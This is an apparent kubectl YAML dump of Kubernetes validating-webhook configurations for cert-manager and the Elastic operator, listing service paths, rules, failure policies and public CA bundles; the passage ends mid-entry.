- apiVersion: admissionregistration.k8s.io/v1
  kind: ValidatingWebhookConfiguration
  metadata:
    annotations:
      cert-manager.io/inject-ca-from-secret: cert-manager/cert-manager-webhook-ca
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:25Z"
    generation: 2
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-webhook
    resourceVersion: "220243"
    uid: 93d0329a-cc4b-49ce-b1cb-f0e6c23b147e
  webhooks:
  - admissionReviewVersions:
    - v1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJ3akNDQVVpZ0F3SUJBZ0lSQU96RVR6NGsxQ3E3amU0RmRHYWpScmt3Q2dZSUtvWkl6ajBFQXdNd0lqRWcKTUI0R0ExVUVBeE1YWTJWeWRDMXRZVzVoWjJWeUxYZGxZbWh2YjJzdFkyRXdIaGNOTWpVd09USXlNVE14T0RNMQpXaGNOTWpZd09USXlNVE14T0RNMVdqQWlNU0F3SGdZRFZRUURFeGRqWlhKMExXMWhibUZuWlhJdGQyVmlhRzl2CmF5MWpZVEIyTUJBR0J5cUdTTTQ5QWdFR0JTdUJCQUFpQTJJQUJBRVA3T2h5UVdJQUdabXhJTTgvR1hVNExWbVEKcEhDMzBuYytaSncybDRIeGl6ZGM4VnhHT2dBaDkxVFJHYyt0dkQ3MzhlUmxHM0tsSnVNTWNDa1BDRTZFWERxcApOZmNBVGxESHFPeHZpV2VrakVSbUhwOEdGNHYyU2ZkT0d2a25VS05DTUVBd0RnWURWUjBQQVFIL0JBUURBZ0trCk1BOEdBMVVkRXdFQi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZCYi9sbU5UZ25lZW1XMVVjcmFBQ0kzN2hIbXUKTUFvR0NDcUdTTTQ5QkFNREEyZ0FNR1VDTUhtYlFkMHdFWmZXcFY5M3FuLzg5MGpnN2dOQjhoUktsQVpSU2NBVApFUFBsTWkreGovbnM0RDdTNDQ4ZHBhdWFmd0l4QU5Bb3VDUkN6SndWelFGZExuREdSRCtYcVBmNEdEb0krVVJhCmRyczBNVWxuSlovTmpNVGdIZE9rQ2szRFhrZ3RNUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
      service:
        name: cert-manager-webhook
        namespace: cert-manager
        path: /validate
        port: 443
    failurePolicy: Fail
    matchPolicy: Equivalent
    name: webhook.cert-manager.io
    namespaceSelector:
      matchExpressions:
      - key: cert-manager.io/disable-validation
        operator: NotIn
        values:
        - "true"
    objectSelector: {}
    rules:
    - apiGroups:
      - cert-manager.io
      - acme.cert-manager.io
      apiVersions:
      - v1
      operations:
      - CREATE
      - UPDATE
      resources:
      - '*/*'
      scope: '*'
    sideEffects: None
    timeoutSeconds: 30
- apiVersion: admissionregistration.k8s.io/v1
  kind: ValidatingWebhookConfiguration
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"admissionregistration.k8s.io/v1","kind":"ValidatingWebhookConfiguration","metadata":{"annotations":{},"labels":{"app.kubernetes.io/version":"2.14.0","control-plane":"elastic-operator"},"name":"elastic-webhook.k8s.elastic.co"},"webhooks":[{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-agent-k8s-elastic-co-v1alpha1-agent"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-agent-validation-v1alpha1.k8s.elastic.co","rules":[{"apiGroups":["agent.k8s.elastic.co"],"apiVersions":["v1alpha1"],"operations":["CREATE","UPDATE"],"resources":["agents"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-apm-k8s-elastic-co-v1-apmserver"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-apm-validation-v1.k8s.elastic.co","rules":[{"apiGroups":["apm.k8s.elastic.co"],"apiVersions":["v1"],"operations":["CREATE","UPDATE"],"resources":["apmservers"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-apm-k8s-elastic-co-v1beta1-apmserver"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-apm-validation-v1beta1.k8s.elastic.co","rules":[{"apiGroups":["apm.k8s.elastic.co"],"apiVersions":["v1beta1"],"operations":["CREATE","UPDATE"],"resources":["apmservers"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-beat-k8s-elastic-co-v1beta1-beat"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-beat-validation-v1beta1.k8s.elastic.co","rules":[{"apiGroups":["beat.k8s.elastic.co"],"apiVersions":["v1beta1"],"operations":["CREATE","UPDATE"],"resources":["beats"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-enterprisesearch-k8s-elastic-co-v1-enterprisesearch"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-ent-validation-v1.k8s.elastic.co","rules":[{"apiGroups":["enterprisesearch.k8s.elastic.co"],"apiVersions":["v1"],"operations":["CREATE","UPDATE"],"resources":["enterprisesearches"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-enterprisesearch-k8s-elastic-co-v1beta1-enterprisesearch"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-ent-validation-v1beta1.k8s.elastic.co","rules":[{"apiGroups":["enterprisesearch.k8s.elastic.co"],"apiVersions":["v1beta1"],"operations":["CREATE","UPDATE"],"resources":["enterprisesearches"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-elasticsearch-k8s-elastic-co-v1-elasticsearch"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-es-validation-v1.k8s.elastic.co","rules":[{"apiGroups":["elasticsearch.k8s.elastic.co"],"apiVersions":["v1"],"operations":["CREATE","UPDATE"],"resources":["elasticsearches"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-elasticsearch-k8s-elastic-co-v1beta1-elasticsearch"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-es-validation-v1beta1.k8s.elastic.co","rules":[{"apiGroups":["elasticsearch.k8s.elastic.co"],"apiVersions":["v1beta1"],"operations":["CREATE","UPDATE"],"resources":["elasticsearches"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-ems-k8s-elastic-co-v1alpha1-mapsservers"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-ems-validation-v1alpha1.k8s.elastic.co","rules":[{"apiGroups":["maps.k8s.elastic.co"],"apiVersions":["v1alpha1"],"operations":["CREATE","UPDATE"],"resources":["mapsservers"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-kibana-k8s-elastic-co-v1-kibana"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-kb-validation-v1.k8s.elastic.co","rules":[{"apiGroups":["kibana.k8s.elastic.co"],"apiVersions":["v1"],"operations":["CREATE","UPDATE"],"resources":["kibanas"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-kibana-k8s-elastic-co-v1beta1-kibana"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-kb-validation-v1beta1.k8s.elastic.co","rules":[{"apiGroups":["kibana.k8s.elastic.co"],"apiVersions":["v1beta1"],"operations":["CREATE","UPDATE"],"resources":["kibanas"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-autoscaling-k8s-elastic-co-v1alpha1-elasticsearchautoscaler"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-esa-validation-v1alpha1.k8s.elastic.co","rules":[{"apiGroups":["autoscaling.k8s.elastic.co"],"apiVersions":["v1alpha1"],"operations":["CREATE","UPDATE"],"resources":["elasticsearchautoscalers"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-scp-k8s-elastic-co-v1alpha1-stackconfigpolicies"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-scp-validation-v1alpha1.k8s.elastic.co","rules":[{"apiGroups":["stackconfigpolicy.k8s.elastic.co"],"apiVersions":["v1alpha1"],"operations":["CREATE","UPDATE"],"resources":["stackconfigpolicies"]}],"sideEffects":"None"},{"admissionReviewVersions":["v1","v1beta1"],"clientConfig":{"service":{"name":"elastic-webhook-server","namespace":"elastic-system","path":"/validate-logstash-k8s-elastic-co-v1alpha1-logstash"}},"failurePolicy":"Ignore","matchPolicy":"Exact","name":"elastic-logstash-validation-v1alpha1.k8s.elastic.co","rules":[{"apiGroups":["logstash.k8s.elastic.co"],"apiVersions":["v1alpha1"],"operations":["CREATE","UPDATE"],"resources":["logstashes"]}],"sideEffects":"None"}]}
    creationTimestamp: "2025-09-23T12:24:54Z"
    generation: 2
    labels:
      app.kubernetes.io/version: 2.14.0
      control-plane: elastic-operator
    name: elastic-webhook.k8s.elastic.co
    resourceVersion: "437093"
    uid: 7e7518d5-8cca-4680-b879-438f3e58b5ac
  webhooks:
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-agent-k8s-elastic-co-v1alpha1-agent
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-agent-validation-v1alpha1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - agent.k8s.elastic.co
      apiVersions:
      - v1alpha1
      operations:
      - CREATE
      - UPDATE
      resources:
      - agents
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-apm-k8s-elastic-co-v1-apmserver
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-apm-validation-v1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - apm.k8s.elastic.co
      apiVersions:
      - v1
      operations:
      - CREATE
      - UPDATE
      resources:
      - apmservers
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-apm-k8s-elastic-co-v1beta1-apmserver
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-apm-validation-v1beta1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - apm.k8s.elastic.co
      apiVersions:
      - v1beta1
      operations:
      - CREATE
      - UPDATE
      resources:
      - apmservers
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-beat-k8s-elastic-co-v1beta1-beat
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-beat-validation-v1beta1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - beat.k8s.elastic.co
      apiVersions:
      - v1beta1
      operations:
      - CREATE
      - UPDATE
      resources:
      - beats
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-enterprisesearch-k8s-elastic-co-v1-enterprisesearch
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-ent-validation-v1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - enterprisesearch.k8s.elastic.co
      apiVersions:
      - v1
      operations:
      - CREATE
      - UPDATE
      resources:
      - enterprisesearches
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
